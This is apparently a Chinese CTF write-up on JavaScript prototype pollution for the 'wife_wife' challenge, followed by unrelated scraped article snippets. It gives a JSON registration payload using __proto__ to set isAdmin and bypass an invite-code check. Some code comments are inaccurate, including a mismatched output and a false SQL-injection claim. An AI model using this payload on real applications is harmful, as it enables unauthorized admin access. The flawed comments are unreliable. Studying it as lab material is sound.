攻防世界 wife_wife

在这个 JavaScript 示例中,有两个对象:baseUser 和 user。
baseUser 对象定义如下:

baseUser = {
    a: 1
}

这个对象有一个属性 a,其值为 1,没有显式指定原型对象,因此它将默认继承 Object.prototype。
user 对象定义如下

user = {
    a: 2,
    b: 1,
    __proto__: {
        c: 3
    }
}

这个对象有三个属性:
a: 值为 2,覆盖了从 baseUser 继承过来的同名属性(如果有继承关系的话)。
b: 值为 1,这是 user 自身特有的属性。
__proto__: 这是一个指向原型对象的引用,这里将其设置为一个包含 c: 3 属性的对象。这意味着 user 对象会从这个新的原型对象中查找自身没有的属性。
因此,当尝试访问 user.c 时,JavaScript 引擎会在 user 对象自身找不到 c 属性时,向上搜索其原型链,最终在 user.__proto__ 找到并返回值 3。
注意:直接修改 __proto__ 属性虽然可以动态改变对象的原型,但在严格模式下不推荐这样做,现代 JavaScript 开发中更倾向于使用 Object.create() 或 class 关键字来更安全地操作原型链。

let newUser = Object.assign({}, baseUser, user);

target:作为 Object.assign() 参数提供的空对象 {}。这将作为属性复制的目的地。
source1:baseUser 对象。
source2:user 对象。
这段代码执行的操作可概括如下:
创建一个新的空对象 ({})。
将 baseUser 中的所有可枚举自有属性复制到新对象中。
将 user 中的所有可枚举自有属性复制到新对象中。如果有任何重叠的键(如本例中的 a),来自 user 的值会覆盖 baseUser 中的值。
生成的 newUser 对象: 执行 Object.assign() 调用后,newUser 对象将具有以下属性:
a:取值为 user 中的 2,因为它覆盖了 baseUser 的 a。
b:取值为 user 中的 1,因为它是 user 特有的。
一个原型链,其中包含从 user.__proto__ 继承的 c: 3 属性。
总结来说,语句 let newUser = Object.assign({}, baseUser, user); 通过合并 baseUser 和 user 的属性创建了一个新对象 newUser,当键重叠时,优先采用 user 中的属性值。生成的 newUser 对象还继承自 user.__proto__。

// 浅复制一个对象,第一个参数位是对象的内容,后面的参数位是多个对象内容叠加进去,进行复制出一个全新的对象
let newUser = Object.assign({}, baseUser, user)  

// 输出结果为{a:2,b:1},无污染
console.log(newUser)  // {a: 2, b: 1}  
console.log(newUser.__proto__)  
//{constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}

污染时:

baseUser = {a:1
}user = JSON.parse('  {"a" : 2 , "b" : 3 , "__proto__" : { "c" : 4 }}  ')
let newUser = Object.assign({}, baseUser, user)console.log(newUser)//输出{a: 2, b: 1}console.log(newUser.__proto__) //被污染,输出{c: 4},而__proto__没有被输出的原因是它为隐藏属性
console.log(newUser):
此行将打印合并后的newUser对象。由于Object.assign({}, baseUser, user)将baseUser和user对象的属性合并到一个新对象中,其中user对象的属性值会覆盖相同名称的baseUser属性值。所以,newUser对象应具有以下属性:
a: 值为2,来自user对象(覆盖了baseUser的a: 1)
b: 值为3,直接来自user对象
结果输出为{ "a": 2, "b": 3 }
console.log(newUser.__proto__):
此行将打印newUser对象的原型(__proto__)。由于user对象的JSON字符串中包含了__proto__键,其值为一个包含c: 4的对象,这将在创建user对象时被解析并设置其原型。当newUser通过Object.assign()继承user的属性时,也会继承其原型链。因此,newUser.__proto__应该是一个包含c: 4的对象:{ "c": 4 }

我们以知识点的利用为主,查看源代码:

// post请求的路径
app.post('/register', (req, res) => {let user = JSON.parse(req.body)  // 将输入的账号密码从json字符串转成对象// 判断有没有输入账号和密码if (!user.username || !user.password) {  return res.json({ msg: 'empty username or password', err: true })}// 判断账号是否存在总对象的username里,若注册时输入的用户名相同,则输出用户名已存在if (users.filter(u => u.username == user.username).length) {  return res.json({ msg: 'username already exists', err: true })}//如果用户是管理员但邀请码不匹配,会将 user.isAdmin 设为 false,并返回一个错误的 JSON 响应。
//由于邀请码是常量 INVITE_CODE,其值在代码执行期间不会发生变化。这意味着无论用户提交的邀请码是什么,其与 INVITE_CODE 的比较结果将在代码执行前就已经确定。因此,无论用户如何构造输入,都不能通过修改邀请码来改变条件判断的结果,防止了SQL注入。if (user.isAdmin && user.inviteCode != INVITE_CODE) {user.isAdmin = falsereturn res.json({ msg: 'invalid invite code', err: true })}// 使用系统函数复制对象,打包成一个新的对象let newUser = Object.assign({}, baseUser, user)users.push(newUser)  // 存到总对象里res.json({ msg: 'user created successfully', err: false })  // 设置返回信息
})

若isAdmin的属性是true,则它为管理员,否则为普通用户;于是我们可构造污染。

注册页面抓包:

{"username":"1","password":"1","isAdmin":true,"inviteCode":"11"}

构造为

{"username":"2","password":"1",
"__proto__":{
"isAdmin":true
}
}
//由于之前注册过username为1,若重新注册会回显exist,因此这里将username修改为2

 污染成功:

重新登录得到flag:

总结

该题考察JavaScript 原型链污染Nodejs原型链污染

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/792463.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

不堪大用的pow

【题目描述】 输出100~999中的所有水仙花数。若3位数ABC满足,则称其为水仙花 数。例如,所以153是水仙花数。 【题目来源】 刘汝佳《算法竞赛入门经典 第2版》习题2-1 水仙花数(daffodil) 题目很简单,…

配置vite配置文件更改项目端口、使用@别名

一、配置vite配置文件更改项目端口 vite官方文档地址:开发服务器选项 | Vite 官方中文文档 (vitejs.dev) 使用: 二、使用别名 1. 安装 types/node types/node 包允许您在TypeScript项目中使用Node.js的核心模块和API,并提供了对它们的类型…

picGo图床搭建gitee和smms(建议使用)

picGoGitee 这个需要下载gitee插件, 因为官方频繁的检索文件类型, 有时候也会失效 如果没有特殊要求平时存个学习的要看图中文字的重要的图片建议就是smms, 免费也够用! 图片存本地不方便, 各种APP中来回传还会失帧损失画质, 所以你值得往下看 picGosmms 建议使用这个, sm…

每日面经分享(python part1)

Python中的深拷贝和浅拷贝的区别是什么? a. 浅拷贝创建一个新的对象,但其中的可变元素仍然共享引用。只有对象的第一层被复制,而更深层次的嵌套对象仍然是引用。更改其中一个对象的属性会影响到其他对象。 b. 深拷贝创建一个完全独立的新对象…

docker部署nacos,单例模式(standalone),使用内置的derby数据库,简易安装

文章目录 前言安装创建文件夹docker指令安装docker指令安装-瘦身版 制作docker-compose.yaml文件查看页面 前言 nacos作为主流的服务发现中心和配置中心,广泛应用于springcloud框架中,现在就让我们一起简易的部署一个单例模式的nacos,版本可…

【Linux】详解动态库链接和加载对可执行程序底层的理解

一、动静态库链接的几种情况 如果我们同时提供动态库和静态库,gcc默认使用的是动态库。如果我们非要使用静态库,要加-static选项。如果我们只提供静态库,那可执行程序没办法,只能对该库进行静态链接,但程序不一定整体…

python和pip中常见命令和方法

玩python的同学想必没有不用pip的吧,pip是python包管理工具,和Nodejs的npm、Java的maven类似,这些依靠开源力量建立起的庞大软件库极大提高了开发的效率,下面是整理和总结pip中的常见命令和方法。 pip更新版本 python -m pip inst…

利用Spark将Kafka数据流写入HDFS

利用Spark将Kafka数据流写入HDFS 在当今的大数据时代,实时数据处理和分析变得越来越重要。Apache Kafka作为一个分布式流处理平台,已经成为处理实时数据的事实标准。而Apache Spark则是一个强大的大数据处理框架,它提供了对数据进行复杂处理…

Echarts 自适应宽高,或指定宽高进行自适应

文章目录 需求分析 需求 有一个按钮实现对Echarts的指定缩放与拉长&#xff0c;形成自适应效果 拉长后效果图 该块元素缩短后效果图 分析 因为我习惯使用 ref 来获取组件的 DOM 元素&#xff0c;然后进行挂载 <div ref"echartsRef" id"myDiv" :sty…

OCR常用识别算法综述

参考&#xff1a;https://aistudio.baidu.com/education/lessonvideo/3279888 语种&#xff1a;常用字符36与常用汉字6623&#xff0c;区别。 标注&#xff1a;文本型位置/单字符位置&#xff0c;后者标注成本大 挑战&#xff1a;场景文字识别&#xff1a;字符大小、颜色、字体…

力扣1379---找出克隆二叉树的相同节点(Java、DFS、简单题)

目录 题目描述&#xff1a; 思路描述&#xff1a; 代码&#xff1a; &#xff08;1&#xff09;&#xff1a; &#xff08;2&#xff09;&#xff1a; 题目描述&#xff1a; 给你两棵二叉树&#xff0c;原始树 original 和克隆树 cloned&#xff0c;以及一个位于原始树 ori…

蓝牙学习九(定向广播 ADV_DIRECT_IND)

一、简介 广播类型有如下&#xff1a; 非定向可连接广播&#xff08;ADV_IND&#xff09;。可连接的非定向广播&#xff0c;表示当前设备可以接受任何设备的连接请求。 定向可连接广播&#xff08;ADV_DIRECT_IND&#xff09;。可连接的定向广播&#xff0c;设备不能被主动扫描…

Kotlin:常用标准库函数(let、run、with、apply、also)

一、let 扩展函数 Kotlin标准库函数let可用于范围确定和空检查。当调用对象时&#xff0c;let执行给定的代码块并返回其最后一个表达式的结果。对象可以通过引用(默认情况下)或自定义名称在块中访问。 let扩展函数源码 let.kt文件代码 fun main() {println("isEmpty $is…

Stable Diffusion扩散模型【详解】小白也能看懂!!

文章目录 1、Diffusion的整体过程2、加噪过程2.1 加噪的具体细节2.2 加噪过程的公式推导 3、去噪过程3.1 图像概率分布 4、损失函数5、 伪代码过程 此文涉及公式推导&#xff0c;需要参考这篇文章&#xff1a; Stable Diffusion扩散模型推导公式的基础知识 1、Diffusion的整体…

【Unity 实用工具篇】| Unity中 实现背景模糊效果,简单易用

前言【Unity 实用工具篇】| Unity 实现背景模糊效果,简单易用一、实现背景模糊效果1.1 介绍1.2 效果展示1.3 使用说明及下载二、插件资源简单介绍2.1 导入下载好的资源2.2 功能介绍2.2.1 捕获特效2.2.2 高级选项

【Vue】watch监听复杂数据,新值与旧值一样

问题 watch监听复杂数据&#xff0c;例如数组&#xff0c;旧值与新值一样 解决方案 监听回调里返回新数组&#xff0c;新、旧数组地址改变&#xff0c;得到的值也就不一样&#xff0c;例↓ ()>[...data] 码 test.js // 数据 const musicList ref([{ id: 540000200805…

00-JAVA基础-动态编译

动态编译 JAVA 6 引入了动态编译机制。Java 动态编译是指在运行时将Java源代码编译成可执行的字节码。这通常使用Java的内置编译器API javax.tools.JavaCompiler 来实现。 动态编译的应用场景 可以做一个浏览器编写java代码&#xff0c;上传服务器编译和运行的在线测评系统服…

继承.Java

目录 1&#xff0c;概述 1.1继承的含义 1.2什么时候用继承 1.3继承的好处 1.4继承的特点 2&#xff0c;继承的格式 3&#xff0c;可以继承哪些内容 4&#xff0c;成员方法和成员变量的访问特点 5&#xff0c;构造方法的访问特点 6&#xff0c;this&#xff0c;super…

前端三剑客 —— CSS (第一节)

目录 CSS 什么是CSS CSS的几种写法&#xff1a; 行内样式 内嵌样式 外链样式 import 加载顺序 CSS选择器*** 基本选择器 ID选择器 标签选择器 类选择器 通用选择器 包含选择器 上节内容中提到了 前端三剑客 —— HTML 超文本标记语言&#xff0c;这节内容 跟大家…

大厂面试之【Redis持久化机制】 - RDB和AOF概述及应用配置

文章目录 Redis持久化1. RDB(Redis DataBase)1.1 概述1.2 配置应用 2. AOF(Append Only File)2.1 概述2.2 配置应用 Redis持久化 先上结论&#xff1a;Redis持久化操作分为rdb以及aof&#xff0c;但是前者已经够用 1. RDB(Redis DataBase) 1.1 概述 rdb保存的是dump.rdb文件在指…